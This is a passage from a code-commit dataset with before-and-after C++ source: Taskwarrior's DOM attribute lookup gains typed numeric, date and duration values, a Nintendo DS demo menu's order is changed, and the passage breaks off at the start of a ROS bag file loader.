{\n      value = Variant (c->second);\n      return true;\n    }\n\n    return false;\n  }\n\n  \/\/ context.*\n  if (len > 8 &&\n           name.substr (0, 8) == \"context.\")\n  {\n    if (name == \"context.program\")\n    {\n      value = Variant (context.program);\n      return true;\n    }\n    else if (name == \"context.args\")\n    {\n      std::string commandLine = \"\";\n      std::vector <Tree*>::iterator i;\n      for (i = context.parser.tree ()->_branches.begin (); i != context.parser.tree ()->_branches.end (); ++i)\n      {\n        if (commandLine != \"\")\n          commandLine += \" \";\n\n        commandLine += (*i)->attribute (\"raw\");\n      }\n\n      value = Variant (commandLine);\n      return true;\n    }\n    else if (name == \"context.width\")\n    {\n      value = Variant (context.terminal_width\n                         ? context.terminal_width\n                         : context.getWidth ());\n      return true;\n    }\n    else if (name == \"context.height\")\n    {\n      value = Variant (context.terminal_height\n                         ? context.terminal_height\n                         : context.getHeight ());\n      return true;\n    }\n    else\n      throw format (STRING_DOM_UNREC, name);\n  }\n\n  \/\/ TODO stats.<name>\n\n  \/\/ system. --> Implement locally.\n  if (len > 7 &&\n           name.substr (0, 7) == \"system.\")\n  {\n    \/\/ Taskwarrior version number.\n    if (name == \"system.version\")\n    {\n      value = Variant (VERSION);\n      return true;\n    }\n\n    \/\/ OS type.\n    else if (name == \"system.os\")\n    {\n#if defined (DARWIN)\n      value = Variant (\"Darwin\");\n#elif defined (SOLARIS)\n      value = Variant (\"Solaris\");\n#elif defined (CYGWIN)\n      value = Variant (\"Cygwin\");\n#elif defined (HAIKU)\n      value = Variant (\"Haiku\");\n#elif defined (OPENBSD)\n      value = Variant (\"OpenBSD\");\n#elif defined (FREEBSD)\n      value = Variant (\"FreeBSD\");\n#elif defined (NETBSD)\n      value = Variant (\"NetBSD\");\n#elif defined (LINUX)\n      value = Variant (\"Linux\");\n#elif defined (KFREEBSD)\n      value = Variant (\"GNU\/kFreeBSD\");\n#elif defined (GNUHURD)\n      value = Variant (\"GNU\/Hurd\");\n#else\n      value = Variant (STRING_DOM_UNKNOWN);\n#endif\n      return true;\n    }\n    else\n      throw format (STRING_DOM_UNREC, name);\n  }\n\n  \/\/ Empty string if nothing is found.\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DOM Supported References:\n\/\/\n\/\/   <attribute>\n\/\/   <id>.<attribute>\n\/\/   <uuid>.<attribute>\n\/\/\n\/\/ For certain attributes:\n\/\/   <date>.year\n\/\/   <date>.month\n\/\/   <date>.day\n\/\/   <date>.week\n\/\/   <date>.weekday\n\/\/   <date>.julian\n\/\/   <date>.hour\n\/\/   <date>.minute\n\/\/   <date>.second\n\/\/\n\/\/   tags.<literal>                  Includes virtual tags\n\/\/\n\/\/   annotations.<N>.entry\n\/\/   annotations.<N>.entry.year\n\/\/   annotations.<N>.entry.month\n\/\/   annotations.<N>.entry.day\n\/\/   annotations.<N>.entry.week\n\/\/   annotations.<N>.entry.weekday\n\/\/   annotations.<N>.entry.julian\n\/\/   annotations.<N>.entry.hour\n\/\/   annotations.<N>.entry.minute\n\/\/   annotations.<N>.entry.second\n\/\/   annotations.<N>.description\n\/\/\nbool DOM::get (const std::string& name, const Task& task, Variant& value)\n{\n  \/\/ <attr>\n  if (task.size () && name == \"id\")\n  {\n    value = Variant (task.id);\n    return true;\n  }\n\n  if (task.size () && name == \"urgency\")\n  {\n    value = Variant (task.urgency_c ());\n    return true;\n  }\n\n  \/\/ split name on '.'\n  std::vector <std::string> elements;\n  split (elements, name, '.');\n\n  if (elements.size () == 1)\n  {\n    std::string canonical;\n    if (task.size () && context.parser.canonicalize (canonical, \"attribute\", name))\n    {\n      value = Variant (task.get (canonical));\n      return true;\n    }\n  }\n  else if (elements.size () > 1)\n  {\n    Task ref;\n\n    Nibbler n (elements[0]);\n    n.save ();\n    int id;\n    std::string uuid;\n    bool proceed = false;\n\n    if (n.getInt (id) && n.depleted ())\n    {\n      if (id == task.id)\n        ref = task;\n      else\n        context.tdb2.get (id, ref);\n\n      proceed = true;\n    }\n    else\n    {\n      n.restore ();\n      if (n.getUUID (uuid) && n.depleted ())\n      {\n        if (uuid == task.get (\"uuid\"))\n          ref = task;\n        else\n          context.tdb2.get (uuid, ref);\n\n        proceed = true;\n      }\n    }\n\n    if (proceed)\n    {\n      if (elements[1] == \"id\")\n      {\n        value = Variant (ref.id);\n        return true;\n      }\n      else if (elements[1] == \"urgency\")\n      {\n        value = Variant (ref.urgency_c ());\n        return true;\n      }\n\n      std::string canonical;\n      if (context.parser.canonicalize (canonical, \"attribute\", elements[1]))\n      {\n        if (elements.size () == 2)\n        {\n          Column* column = context.columns[canonical];\n          if (column && column->type () == \"date\")\n            value = Variant (ref.get_date (canonical), Variant::type_date);\n          else if (column && column->type () == \"duration\")\n            value = Variant ((time_t) Duration (ref.get (canonical)), Variant::type_duration);\n          else\n            value = Variant (ref.get (canonical));\n\n          return true;\n        }\n        else if (elements.size () == 3)\n        {\n          \/\/ tags.<tag>\n          if (canonical == \"tags\")\n          {\n            value = Variant (ref.hasTag (elements[2]) ? elements[2] : \"\");\n            return true;\n          }\n\n          Column* column = context.columns[canonical];\n          if (column && column->type () == \"date\")\n          {\n            \/\/ <date>.year\n            \/\/ <date>.month\n            \/\/ <date>.day\n            \/\/ <date>.week\n            \/\/ <date>.weekday\n            \/\/ <date>.julian\n            \/\/ <date>.hour\n            \/\/ <date>.minute\n            \/\/ <date>.second\n            Date date (ref.get_date (canonical));\n                 if (elements[2] == \"year\")    { value = Variant (date.year ());      return true; }\n            else if (elements[2] == \"month\")   { value = Variant (date.month ());     return true; }\n            else if (elements[2] == \"day\")     { value = Variant (date.day ());       return true; }\n            else if (elements[2] == \"week\")    { value = Variant (date.week ());      return true; }\n            else if (elements[2] == \"weekday\") { value = Variant (date.dayOfWeek ()); return true; }\n            else if (elements[2] == \"julian\")  { value = Variant (date.dayOfYear ()); return true; }\n            else if (elements[2] == \"hour\")    { value = Variant (date.hour ());      return true; }\n            else if (elements[2] == \"minute\")  { value = Variant (date.minute ());    return true; }\n            else if (elements[2] == \"second\")  { value = Variant (date.second ());    return true; }\n          }\n        }\n      }\n      else if (elements[1] == \"annotations\")\n      {\n        if (elements.size () == 4)\n        {\n          std::map <std::string, std::string> annos;\n          ref.getAnnotations (annos);\n\n          int a = strtol (elements[2].c_str (), NULL, 10);\n          int count = 0;\n\n          \/\/ Count off the 'a'th annotation.\n          std::map <std::string, std::string>::iterator i;\n          for (i = annos.begin (); i != annos.end (); ++i)\n          {\n            if (++count == a)\n            {\n              if (elements[3] == \"entry\")\n              {\n                \/\/ annotation_1234567890\n                \/\/ 0          ^11\n                value = Variant ((time_t) strtol (i->first.substr (11).c_str (), NULL, 10), Variant::type_date);\n                return true;\n              }\n              else if (elements[3] == \"description\")\n              {\n                value = Variant (i->second);\n                return true;\n              }\n            }\n          }\n        }\n        else if (elements.size () == 5)\n        {\n          std::map <std::string, std::string> annos;\n          ref.getAnnotations (annos);\n\n          int a = strtol (elements[2].c_str (), NULL, 10);\n          int count = 0;\n\n          \/\/ Count off the 'a'th annotation.\n          std::map <std::string, std::string>::iterator i;\n          for (i = annos.begin (); i != annos.end (); ++i)\n          {\n            if (++count == a)\n            {\n              \/\/ <annotations>.<N>.entry.year\n              \/\/ <annotations>.<N>.entry.month\n              \/\/ <annotations>.<N>.entry.day\n              \/\/ <annotations>.<N>.entry.week\n              \/\/ <annotations>.<N>.entry.weekday\n              \/\/ <annotations>.<N>.entry.julian\n              \/\/ <annotations>.<N>.entry.hour\n              \/\/ <annotations>.<N>.entry.minute\n              \/\/ <annotations>.<N>.entry.second\n              Date date (i->first.substr (11));\n                   if (elements[4] == \"year\")    { value = Variant (date.year ());      return true; }\n              else if (elements[4] == \"month\")   { value = Variant (date.month ());     return true; }\n              else if (elements[4] == \"day\")     { value = Variant (date.day ());       return true; }\n              else if (elements[4] == \"week\")    { value = Variant (date.week ());      return true; }\n              else if (elements[4] == \"weekday\") { value = Variant (date.dayOfWeek ()); return true; }\n              else if (elements[4] == \"julian\")  { value = Variant (date.dayOfYear ()); return true; }\n              else if (elements[4] == \"hour\")    { value = Variant (date.hour ());      return true; }\n              else if (elements[4] == \"minute\")  { value = Variant (date.minute ());    return true; }\n              else if (elements[4] == \"second\")  { value = Variant (date.second ());    return true; }\n            }\n          }\n        }\n      }\n    }\n  }\n\n  \/\/ Delegate to the context-free version of DOM::get.\n  return this->get (name, value);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid DOM::set (const std::string& name, const Variant& value)\n{\n  int len = name.length ();\n\n  \/\/ rc. --> context.config\n  if (len > 3 &&\n      name.substr (0, 3) == \"rc.\")\n  {\n    context.config.set (name.substr (3), (std::string) value);\n  }\n\n  \/\/ Unrecognized --> error.\n  else\n    throw format (STRING_DOM_CANNOT_SET, name);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>DOM<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2006 - 2014, Paul Beckingham, Federico Hernandez.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <sstream>\n#include <map>\n#include <stdlib.h>\n#include <Variant.h>\n#include <Duration.h>\n#include <Context.h>\n#include <Nibbler.h>\n#include <Date.h>\n#include <text.h>\n#include <i18n.h>\n#include <DOM.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nDOM::DOM ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nDOM::~DOM ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst std::vector <std::string> DOM::get_references () const\n{\n  std::vector <std::string> refs;\n\n  refs.push_back (\"context.program\");\n  refs.push_back (\"context.args\");\n  refs.push_back (\"context.width\");\n  refs.push_back (\"context.height\");\n  refs.push_back (\"system.version\");\n  refs.push_back (\"system.os\");\n\n  return refs;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DOM Supported References:\n\/\/   rc.<name>\n\/\/\n\/\/   context.program\n\/\/   context.args\n\/\/   context.width\n\/\/   context.height\n\/\/\n\/\/   TODO stats.<name>           <-- context.stats\n\/\/\n\/\/   system.version\n\/\/   system.os\n\/\/\nbool DOM::get (const std::string& name, Variant& value)\n{\n  int len = name.length ();\n  Nibbler n (name);\n\n  \/\/ rc. --> context.config\n  if (len > 3 &&\n      name.substr (0, 3) == \"rc.\")\n  {\n    std::string key = name.substr (3);\n    std::map <std::string, std::string>::iterator c = context.config.find (key);\n    if (c != context.config.end ())\n    {\n      value = Variant (c->second);\n      return true;\n    }\n\n    return false;\n  }\n\n  \/\/ context.*\n  if (len > 8 &&\n           name.substr (0, 8) == \"context.\")\n  {\n    if (name == \"context.program\")\n    {\n      value = Variant (context.program);\n      return true;\n    }\n    else if (name == \"context.args\")\n    {\n      std::string commandLine = \"\";\n      std::vector <Tree*>::iterator i;\n      for (i = context.parser.tree ()->_branches.begin (); i != context.parser.tree ()->_branches.end (); ++i)\n      {\n        if (commandLine != \"\")\n          commandLine += \" \";\n\n        commandLine += (*i)->attribute (\"raw\");\n      }\n\n      value = Variant (commandLine);\n      return true;\n    }\n    else if (name == \"context.width\")\n    {\n      value = Variant (context.terminal_width\n                         ? context.terminal_width\n                         : context.getWidth ());\n      return true;\n    }\n    else if (name == \"context.height\")\n    {\n      value = Variant (context.terminal_height\n                         ? context.terminal_height\n                         : context.getHeight ());\n      return true;\n    }\n    else\n      throw format (STRING_DOM_UNREC, name);\n  }\n\n  \/\/ TODO stats.<name>\n\n  \/\/ system. --> Implement locally.\n  if (len > 7 &&\n           name.substr (0, 7) == \"system.\")\n  {\n    \/\/ Taskwarrior version number.\n    if (name == \"system.version\")\n    {\n      value = Variant (VERSION);\n      return true;\n    }\n\n    \/\/ OS type.\n    else if (name == \"system.os\")\n    {\n#if defined (DARWIN)\n      value = Variant (\"Darwin\");\n#elif defined (SOLARIS)\n      value = Variant (\"Solaris\");\n#elif defined (CYGWIN)\n      value = Variant (\"Cygwin\");\n#elif defined (HAIKU)\n      value = Variant (\"Haiku\");\n#elif defined (OPENBSD)\n      value = Variant (\"OpenBSD\");\n#elif defined (FREEBSD)\n      value = Variant (\"FreeBSD\");\n#elif defined (NETBSD)\n      value = Variant (\"NetBSD\");\n#elif defined (LINUX)\n      value = Variant (\"Linux\");\n#elif defined (KFREEBSD)\n      value = Variant (\"GNU\/kFreeBSD\");\n#elif defined (GNUHURD)\n      value = Variant (\"GNU\/Hurd\");\n#else\n      value = Variant (STRING_DOM_UNKNOWN);\n#endif\n      return true;\n    }\n    else\n      throw format (STRING_DOM_UNREC, name);\n  }\n\n  \/\/ Empty string if nothing is found.\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DOM Supported References:\n\/\/\n\/\/   <attribute>\n\/\/   <id>.<attribute>\n\/\/   <uuid>.<attribute>\n\/\/\n\/\/ For certain attributes:\n\/\/   <date>.year\n\/\/   <date>.month\n\/\/   <date>.day\n\/\/   <date>.week\n\/\/   <date>.weekday\n\/\/   <date>.julian\n\/\/   <date>.hour\n\/\/   <date>.minute\n\/\/   <date>.second\n\/\/\n\/\/   tags.<literal>                  Includes virtual tags\n\/\/\n\/\/   annotations.<N>.entry\n\/\/   annotations.<N>.entry.year\n\/\/   annotations.<N>.entry.month\n\/\/   annotations.<N>.entry.day\n\/\/   annotations.<N>.entry.week\n\/\/   annotations.<N>.entry.weekday\n\/\/   annotations.<N>.entry.julian\n\/\/   annotations.<N>.entry.hour\n\/\/   annotations.<N>.entry.minute\n\/\/   annotations.<N>.entry.second\n\/\/   annotations.<N>.description\n\/\/\nbool DOM::get (const std::string& name, const Task& task, Variant& value)\n{\n  \/\/ <attr>\n  if (task.size () && name == \"id\")\n  {\n    value = Variant (task.id);\n    return true;\n  }\n\n  if (task.size () && name == \"urgency\")\n  {\n    value = Variant (task.urgency_c ());\n    return true;\n  }\n\n  \/\/ split name on '.'\n  std::vector <std::string> elements;\n  split (elements, name, '.');\n\n  if (elements.size () == 1)\n  {\n    std::string canonical;\n    if (task.size () && context.parser.canonicalize (canonical, \"attribute\", name))\n    {\n      Column* column = context.columns[canonical];\n      if (column)\n      {\n        if (column->type () == \"date\")\n          value = Variant (task.get_date (canonical), Variant::type_date);\n        else if (column->type () == \"duration\")\n          value = Variant ((time_t) Duration (task.get (canonical)), Variant::type_duration);\n        else if (column->type () == \"numeric\")\n          value = Variant (task.get_float (canonical));\n        else\n          value = Variant (task.get (canonical));\n\n        return true;\n      }\n    }\n  }\n  else if (elements.size () > 1)\n  {\n    Task ref;\n\n    Nibbler n (elements[0]);\n    n.save ();\n    int id;\n    std::string uuid;\n    bool proceed = false;\n\n    if (n.getInt (id) && n.depleted ())\n    {\n      if (id == task.id)\n        ref = task;\n      else\n        context.tdb2.get (id, ref);\n\n      proceed = true;\n    }\n    else\n    {\n      n.restore ();\n      if (n.getUUID (uuid) && n.depleted ())\n      {\n        if (uuid == task.get (\"uuid\"))\n          ref = task;\n        else\n          context.tdb2.get (uuid, ref);\n\n        proceed = true;\n      }\n    }\n\n    if (proceed)\n    {\n      if (elements[1] == \"id\")\n      {\n        value = Variant (ref.id);\n        return true;\n      }\n      else if (elements[1] == \"urgency\")\n      {\n        value = Variant (ref.urgency_c ());\n        return true;\n      }\n\n      std::string canonical;\n      if (context.parser.canonicalize (canonical, \"attribute\", elements[1]))\n      {\n        if (elements.size () == 2)\n        {\n          Column* column = context.columns[canonical];\n          if (column)\n          {\n            if (column->type () == \"date\")\n              value = Variant (ref.get_date (canonical), Variant::type_date);\n            else if (column->type () == \"duration\")\n              value = Variant ((time_t) Duration (ref.get (canonical)), Variant::type_duration);\n            else if (column->type () == \"numeric\")\n              value = Variant (ref.get_float (canonical));\n            else\n              value = Variant (ref.get (canonical));\n\n            return true;\n          }\n        }\n        else if (elements.size () == 3)\n        {\n          \/\/ tags.<tag>\n          if (canonical == \"tags\")\n          {\n            value = Variant (ref.hasTag (elements[2]) ? elements[2] : \"\");\n            return true;\n          }\n\n          Column* column = context.columns[canonical];\n          if (column && column->type () == \"date\")\n          {\n            \/\/ <date>.year\n            \/\/ <date>.month\n            \/\/ <date>.day\n            \/\/ <date>.week\n            \/\/ <date>.weekday\n            \/\/ <date>.julian\n            \/\/ <date>.hour\n            \/\/ <date>.minute\n            \/\/ <date>.second\n            Date date (ref.get_date (canonical));\n                 if (elements[2] == \"year\")    { value = Variant (date.year ());      return true; }\n            else if (elements[2] == \"month\")   { value = Variant (date.month ());     return true; }\n            else if (elements[2] == \"day\")     { value = Variant (date.day ());       return true; }\n            else if (elements[2] == \"week\")    { value = Variant (date.week ());      return true; }\n            else if (elements[2] == \"weekday\") { value = Variant (date.dayOfWeek ()); return true; }\n            else if (elements[2] == \"julian\")  { value = Variant (date.dayOfYear ()); return true; }\n            else if (elements[2] == \"hour\")    { value = Variant (date.hour ());      return true; }\n            else if (elements[2] == \"minute\")  { value = Variant (date.minute ());    return true; }\n            else if (elements[2] == \"second\")  { value = Variant (date.second ());    return true; }\n          }\n        }\n      }\n      else if (elements[1] == \"annotations\")\n      {\n        if (elements.size () == 4)\n        {\n          std::map <std::string, std::string> annos;\n          ref.getAnnotations (annos);\n\n          int a = strtol (elements[2].c_str (), NULL, 10);\n          int count = 0;\n\n          \/\/ Count off the 'a'th annotation.\n          std::map <std::string, std::string>::iterator i;\n          for (i = annos.begin (); i != annos.end (); ++i)\n          {\n            if (++count == a)\n            {\n              if (elements[3] == \"entry\")\n              {\n                \/\/ annotation_1234567890\n                \/\/ 0          ^11\n                value = Variant ((time_t) strtol (i->first.substr (11).c_str (), NULL, 10), Variant::type_date);\n                return true;\n              }\n              else if (elements[3] == \"description\")\n              {\n                value = Variant (i->second);\n                return true;\n              }\n            }\n          }\n        }\n        else if (elements.size () == 5)\n        {\n          std::map <std::string, std::string> annos;\n          ref.getAnnotations (annos);\n\n          int a = strtol (elements[2].c_str (), NULL, 10);\n          int count = 0;\n\n          \/\/ Count off the 'a'th annotation.\n          std::map <std::string, std::string>::iterator i;\n          for (i = annos.begin (); i != annos.end (); ++i)\n          {\n            if (++count == a)\n            {\n              \/\/ <annotations>.<N>.entry.year\n              \/\/ <annotations>.<N>.entry.month\n              \/\/ <annotations>.<N>.entry.day\n              \/\/ <annotations>.<N>.entry.week\n              \/\/ <annotations>.<N>.entry.weekday\n              \/\/ <annotations>.<N>.entry.julian\n              \/\/ <annotations>.<N>.entry.hour\n              \/\/ <annotations>.<N>.entry.minute\n              \/\/ <annotations>.<N>.entry.second\n              Date date (i->first.substr (11));\n                   if (elements[4] == \"year\")    { value = Variant (date.year ());      return true; }\n              else if (elements[4] == \"month\")   { value = Variant (date.month ());     return true; }\n              else if (elements[4] == \"day\")     { value = Variant (date.day ());       return true; }\n              else if (elements[4] == \"week\")    { value = Variant (date.week ());      return true; }\n              else if (elements[4] == \"weekday\") { value = Variant (date.dayOfWeek ()); return true; }\n              else if (elements[4] == \"julian\")  { value = Variant (date.dayOfYear ()); return true; }\n              else if (elements[4] == \"hour\")    { value = Variant (date.hour ());      return true; }\n              else if (elements[4] == \"minute\")  { value = Variant (date.minute ());    return true; }\n              else if (elements[4] == \"second\")  { value = Variant (date.second ());    return true; }\n            }\n          }\n        }\n      }\n    }\n  }\n\n  \/\/ Delegate to the context-free version of DOM::get.\n  return this->get (name, value);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid DOM::set (const std::string& name, const Variant& value)\n{\n  int len = name.length ();\n\n  \/\/ rc. --> context.config\n  if (len > 3 &&\n      name.substr (0, 3) == \"rc.\")\n  {\n    context.config.set (name.substr (3), (std::string) value);\n  }\n\n  \/\/ Unrecognized --> error.\n  else\n    throw format (STRING_DOM_CANNOT_SET, name);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"menuDemo.h\"\n#include \"sinScrollDemo.h\"\n#include \"peepHoleWindowDemo.h\"\n#include \"spotlightDemo.h\"\n#include \"demoRunner.h\"\n#include \"scanInDemo.h\"\n#include \"rasterbarDemo.h\"\n#include \"flutterDemo.h\"\n\n#include <nds\/arm9\/console.h>\n#include <cassert>\n#include <nds\/arm9\/input.h>\n\nMenuDemo::MenuDemo() : selection(0) {}\nMenuDemo::~MenuDemo() {}\nvoid MenuDemo::Load() {\n\tsetupDefaultBG();\n\tconsoleClear();\n}\nvoid MenuDemo::Unload() {}\nvoid MenuDemo::PrepareFrame(VramBatcher &) {}\n\nvoid MenuDemo::AcceptInput() {\n\tauto keys = keysDown();\n\n\tif(keys & KEY_UP && selection > 0) {\n\t\tselection--;\n\t} else if(keys & KEY_DOWN && selection+1 < demoCount) {\n\t\tselection++;\n\t}\n\n\tif(keys & KEY_START) {\n\t\trunner.RunDemo(makeDemo());\n\t}\n}\n\nstd::shared_ptr<Demo> MenuDemo::makeDemo() {\n\tswitch(selection) {\n\tcase 0:\n\t\treturn std::make_shared<SinXScrollDemo>();\n\tcase 1:\n\t\treturn std::make_shared<SpotLightDemo>();\n\tcase 2:\n\t\treturn std::make_shared<PeepHoleWindowDemo>();\n\tcase 3:\n\t\treturn std::make_shared<ScanInDemo>();\n\tcase 4:\n\t\treturn std::make_shared<RasterBarDemo>();\n\tcase 5:\n\t\treturn std::make_shared<FlutterDemo>();\n\tcase 6:\n\t\treturn std::make_shared<SinYScrollDemo>();\n\t}\n\tsassert(0,\"Bad menu selection instatiated\");\n\n\tassert(0);\n}\n<commit_msg>Sort the demos to make logical sense<commit_after>#include \"menuDemo.h\"\n#include \"sinScrollDemo.h\"\n#include \"peepHoleWindowDemo.h\"\n#include \"spotlightDemo.h\"\n#include \"demoRunner.h\"\n#include \"scanInDemo.h\"\n#include \"rasterbarDemo.h\"\n#include \"flutterDemo.h\"\n\n#include <nds\/arm9\/console.h>\n#include <cassert>\n#include <nds\/arm9\/input.h>\n\nMenuDemo::MenuDemo() : selection(0) {}\nMenuDemo::~MenuDemo() {}\nvoid MenuDemo::Load() {\n\tsetupDefaultBG();\n\tconsoleClear();\n}\nvoid MenuDemo::Unload() {}\nvoid MenuDemo::PrepareFrame(VramBatcher &) {}\n\nvoid MenuDemo::AcceptInput() {\n\tauto keys = keysDown();\n\n\tif(keys & KEY_UP && selection > 0) {\n\t\tselection--;\n\t} else if(keys & KEY_DOWN && selection+1 < demoCount) {\n\t\tselection++;\n\t}\n\n\tif(keys & KEY_START) {\n\t\trunner.RunDemo(makeDemo());\n\t}\n}\n\nstd::shared_ptr<Demo> MenuDemo::makeDemo() {\n\tswitch(selection) {\n\tcase 0:\n\t\treturn std::make_shared<SinXScrollDemo>();\n\tcase 1:\n\t\treturn std::make_shared<SinYScrollDemo>();\n\tcase 2:\n\t\treturn std::make_shared<ScanInDemo>();\n\tcase 3:\n\t\treturn std::make_shared<PeepHoleWindowDemo>();\n\tcase 4:\n\t\treturn std::make_shared<SpotLightDemo>();\n\tcase 5:\n\t\treturn std::make_shared<RasterBarDemo>();\n\tcase 6:\n\t\treturn std::make_shared<FlutterDemo>();\n\t\t\n\t}\n\tsassert(0,\"Bad menu selection instatiated\");\n\n\tassert(0);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"dataload_ros.h\"\n#include <QTextStream>\n#include <QFile>\n#include <QMessageBox>\n#include <QDebug>\n#include <QApplication>\n#include <QProgressDialog>\n#include <QElapsedTimer>\n#include <QFileInfo>\n#include <QProcess>\n#include <rosbag\/view.h>\n#include <sys\/sysinfo.h>\n#include <QSettings>\n\n#include \"..\/dialog_select_ros_topics.h\"\n#include \"..\/shape_shifter_factory.hpp\"\n#include \"..\/rule_editing.h\"\n\n\nDataLoadROS::DataLoadROS()\n{\n    _extensions.push_back( \"bag\");\n}\n\nconst std::vector<const char*> &DataLoadROS::compatibleFileExtensions() const\n{\n    return _extensions;\n}\n\nsize_t getAvailableRAM()\n{\n    struct sysinfo info;\n    sysinfo(&info);\n    return info.freeram;\n}\n\nPlotDataMap DataLoadROS::readDataFromFile(const QString &file_name, bool use_previous_configuration)\n{\n    if( _bag ) _bag->close();\n\n    _bag = std::make_shared<rosbag::Bag>();\n\n    using namespace RosIntrospection;\n\n    std::vector<std::pair<QString,QString>> all_topics;\n    PlotDataMap plot_map;\n\n    try{\n        _bag->open( file_name.toStdString(), rosbag::bagmode::Read );\n    }\n    catch( rosbag::BagException&  ex)\n    {\n        QMessageBox::warning(0, tr(\"Error\"),\n                             QString(\"rosbag::open thrown an exception:\\n\")+\n                             QString(ex.what()) );\n        return PlotDataMap{};\n    }\n\n    rosbag::View bag_view ( *_bag, ros::TIME_MIN, ros::TIME_MAX, true );\n    std::vector<const rosbag::ConnectionInfo*> connections = bag_view.getConnections();\n\n    for(unsigned i=0; i<connections.size(); i++)\n    {\n        const auto&  topic      =  connections[i]->topic;\n        const auto&  md5sum     =  connections[i]->md5sum;\n        const auto&  datatype   =  connections[i]->datatype;\n        const auto&  definition =  connections[i]->msg_def;\n\n        all_topics.push_back( std::make_pair(QString( topic.c_str()), QString( datatype.c_str()) ) );\n        RosIntrospectionFactory::registerMessage(topic, md5sum, datatype, definition);\n    }\n\n    int count = 0;\n\n    